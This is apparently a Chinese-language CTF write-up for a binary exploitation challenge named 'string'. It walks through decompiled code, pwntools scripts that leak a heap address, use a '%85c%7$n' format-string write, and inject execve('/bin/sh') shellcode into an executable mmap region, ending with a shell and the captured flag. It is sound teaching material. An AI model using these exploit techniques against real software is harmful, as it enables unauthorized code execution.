puts("You recall, a big black hole will suckk you into it! Know what should you do?");
puts("go into there(1), or leave(0)?:");
_isoc99_scanf("%d", &v1);
if ( v1 == 1 )
{
puts("A voice heard in your mind");
puts("'Give me an address'");
_isoc99_scanf("%ld", &v2);
puts("And, you wish is:");
_isoc99_scanf("%s", format);
puts("Your wish is");
printf(format); //此处存在格式化字符串漏洞
puts("I hear it, I hear it....");
}
return __readfsqword(0x28u) ^ v4;
}

存在格式化字符串漏洞,有可能要利用,联系后文可知,此处要使用printf格式化字符串漏洞,将主函数中

1
2
*v4 = 68;
v4[1] = 85;

它俩给溢出修改成相同的值

前面主函数中还有

1
2
printf("secret[0] is %x\n", v4);					//&v4的16进制表示
printf("secret[1] is %x\n", v4 + 1);

将v4和v4[1]的地址直接白给了

考虑如何构造这个格式化字符串漏洞攻击

注意到

1
2
puts("'Give me an address'");				
_isoc99_scanf("%ld", &v2);

这里输入了一个长整数v2,也是放在栈上的,我们可以把v4的地址输入v2,然后溢出改变之

也可以不使用这里的v2,直接在格式化字符串中完成

首先要找出printf(s)打印时,v2在栈中,是第几个格式化字符串参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

sh=process('./string')

sh.recvuntil("What should your character's name be:")

sh.sendline('Vader')

sh.recvuntil('So, where you will go?east or up?:')

sh.sendline('east')

sh.recvuntil('go into there(1), or leave(0)?:')

sh.sendline('1')

sh.recvuntil("'Give me an address'")

sh.sendline('9999')#这里使用9999,其16进制值为0x270f,待会儿方便寻找

# sh.interactive()

sh.recvuntil('And, you wish is:')

sh.sendline('AAAAAAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p')//AAAAAAAA八个字符正好在栈上占一个对齐单元

sh.interactive()

运行结果

1
2
Your wish is
AAAAAAAA-0x7f6645ea9743-(nil)-0x7f6645dc8603-0xd-0xffffffffffffff88-0x100000000-0x270f-0x4141414141414141-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0x70252d70252d70I hear it, I hear it....
第n个格式化参数 不是格式化参数 1 2 3 4 5 6 7 8
打印内容 AAAAAAAA 0x7f6645ea9743 (nil) 0x7f6645dc8603 0xd 0xffffffffffffff88 0x100000000 0x270f 0x4141414141414141
意义 9999,刚才输入的v2 格式化字符串本身作为一个普通字符串的起始位置

可以判断,输入的v2将会被作为第7个格式化字符串参数

然后我们在前面的交互过程中获取到v4的地址,在give me an address之后输入,作为第七个格式化字符串参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

sh=process('./string')

sh.recvuntil('secret[0] is ')

v4_addr = sh.recvuntil(b'\n', drop=True)

v4_addr = int(v4_addr, 16)

print(hex(v4_addr))

sh.recvuntil("What should your character's name be:".encode())

sh.sendline('Vader'.encode())

sh.recvuntil('So, where you will go?east or up?:'.encode())

sh.sendline('east'.encode())

sh.recvuntil('go into there(1), or leave(0)?:'.encode())

sh.sendline('1'.encode())

sh.recvuntil("'Give me an address'".encode())

sh.sendline(str(v4_addr))

sh.recvuntil('And, you wish is:'.encode())

sh.sendline('AAAAAAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p'.encode())

sh.interactive()

1
2
3
4
0x1ccb2a0
....
Your wish is
AAAAAAAA-0x7f5c06c84743-(nil)-0x7f5c06ba3603-0xd-0xffffffffffffff88-0x100000000-0x1ccb2a0-0x4141414141414141-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0x70252d70252d70I hear it, I hear it....

现在v4的地址放好了,下面开始构造溢出

1
2
*v4 = 68;
v4[1] = 85;

因此我们应当将*v4修改为85,

1
payload = '%85c%7$n'

此时执行exp.py得到

1
Wizard: I will help you! USE YOU SPELL 

我们成功召唤了巫师

sub_400CA6((_DWORD *)a1)

a1是sub_400D72的参数,a1的历史沿革:

1
2
3
4
5
6
7
_DWORD *v4; // [rsp+18h] [rbp-78h]//双字指针类型,int*
v4 = malloc(8uLL);
*v4 = 68; //v4[0]=68
v4[1] = 85; //v4[1]=85

main->sub_400D72((__int64)v4)->sub_400CA6((_DWORD *)a1)
main中v4在堆上开了8字节空间分成两个双字,v4[0]=68,v4[1]=85,然后转化为一个四字qword作为参数进行值传送,然后在sub_400CA6中以双字指针形式进行引用传递
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 __fastcall sub_400CA6(_DWORD *a1)
{
void *v1; // rsi
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("Ahu!!!!!!!!!!!!!!!!A Dragon has appeared!!");
puts("Dragon say: HaHa! you were supposed to have a normal");
puts("RPG game, but I have changed it! you have no weapon and ");
puts("skill! you could not defeat me !");
puts("That's sound terrible! you meet final boss!but you level is ONE!");
if ( *a1 == a1[1] ) //当a1[0]==a1[1]时就有巫师出手相助,否则嗝屁
{
puts("Wizard: I will help you! USE YOU SPELL");
v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);//没有和文件描述符关联,则不把任何文件映射到进程的虚拟地址空间
read(0, v1, 0x100uLL); //从标准输入0即键盘读取至多0x100个字符,到v1缓冲区
((void (__fastcall *)(_QWORD))v1)(0LL); //一个函数指针,但是v1明明是一个虚拟地址空间的指针,强行作为函数指针
}
return __readfsqword(0x28u) ^ v3;
}

mmap

1
void *mmap(void *start , size_t length, int prot, int flags, int fd, off_t offset);
image-20220518084118644

mmap是一种内存映射文件的方法,即将一个文件或者其它对象映射到进程的地址空间,实现文件磁盘地址和进程虚拟地址空间中一段虚拟地址的一一对映关系。实现这样的映射关系后,进程就可以采用指针的方式读写操作这一段内存,而系统会自动回写脏页面到对应的文件磁盘上,即完成了对文件的操作而不必再调用read,write等系统调用函数。

认真分析mmap:是什么 为什么 怎么用 - 胡潇 - 博客园 (cnblogs.com)

在本题中mmap要求内核创建一个0x1000大小的空间,

prot=7=001|010|100即该空间具有可读写执行的权限,有可能要写入shellcode并在此处执行

由于程序本身开启了NX保护即堆栈不可执行,

因此这里程序没有直接在栈上开缓冲区,而是故意使用了mmap新开了空间,并且赋予该空间唱,跳,rap,篮球读,写,执行的权限,

已经在疯狂暗示ret2shellcode了

只需要写入shellcode

1
2
3
4
5
6
7
8
9
context(os='linux',arch='amd64')#此句必须,不写的话无法获取shell

sh.recvuntil('Wizard: I will help you! USE YOU SPELL'.encode())

shellcode =asm(shellcraft.sh())

sh.sendline(shellcode)

sh.interactive()

然后一个函数指针就会来执行shellcode

执行之后

1
2
3
4
5
6
7
8
9
10
11
12
[*] Switching to interactive mode

$ ls
bin
dev
flag
lib
lib32
lib64
string
$ cat flag
cyberpeace{421c7c91f8fbfb8755cced825fc617ab}

context(os='linux', arch='amd64')

设置pwntools环境,不同的操作系统架构会有不同的汇编指令

由于前面我们check时已经了解到string是一个amd64架构,linux操作系统的程序,因此需要设置一下"上下文"context

1
2
3
4
5
6
7
8
9
10
from pwn import *

shellcode = shellcraft.sh()//默认环境的shellcode
print(shellcode)

print('..........................')
context(os='linux',arch='amd64')
shellcode = shellcraft.sh()
print(shellcode)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/string]    
└─# python3 shell.py
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
/* push argument array ['sh\x00'] */
/* push 'sh\x00\x00' */
push 0x1010101
xor dword ptr [esp], 0x1016972
xor ecx, ecx
push ecx /* null terminate */
push 4
pop ecx
add ecx, esp
push ecx /* 'sh\x00' */
mov ecx, esp
xor edx, edx
/* call execve() */
push SYS_execve /* 0xb */
pop eax
int 0x80

..........................
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
/* push argument array ['sh\x00'] */
/* push b'sh\x00' */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi /* 0 */
push rsi /* null terminate */
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall

两个shellcode是不一样的

shellcode

关于linux amd64上的shellcode:

它干了啥呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/* execve(path='/bin///sh', argv=['sh'], envp=0) */        
/* push b'/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
/* push argument array ['sh\x00'] */
/* push b'sh\x00' */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi /* 0 */
push rsi /* null terminate */
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall

一开始

1
2
3
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax

压栈的16进制数转化为ASCII码为

1
hs///nib/

这是小端存储的,翻译成人话是

1
/bin///sh

然后

1
mov rdi, rsp

把栈顶指针交给rdi保存,最后还要还回来

然后两条蜜汁语句

1
2
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101

把0x1010101先和0x6873异或一下,然后再和0x1010101异或,这部相当于直接来0x6873吗?

翻译成ASCII码是hs,这是小端存储的,翻译成人话就是sh

然后

1
2
xor esi, esi /* 0 */
push rsi /* null terminate */

将0压栈

然后又是蜜汁操作

1
2
3
push 8
pop rsi
add rsi, rsp

8先压栈然后退给rsi,然后rsp也加到rsi上,rsi=rsp+8

然后

1
2
3
4
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
/* call execve() */

rsi压栈然后获取rsp栈顶指针作为参数,

edx归0作为第三个参数

1
2
push SYS_execve /* 0x3b */
pop rax

系统调用号约定用rax寄存器传递

1
syscall

陷阱,系统调用

asm(shellcode)

将汇编指令转化为机器码

1
2
3
4
from pwn import *
context(os='linux',arch='amd64')
shellcode = shellcraft.sh()
print(asm(shellcode))
1
b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'

实际上是16进制表示的二进制码

总结

关键点有两个

一是通过某些手段,修改main中

1
2
3
v4 = malloc(8uLL);
*v4 = 68;
v4[1] = 85;

让v4的高低两个双字数值相等

诚如是则sub_400CA6if ( *a1 == a1[1] )成立,下面就可以考虑向mmap创建的虚拟地址空间中写入shellcode

二是写入shellcode之后,一个强行函数指针就会执行该shellcode区域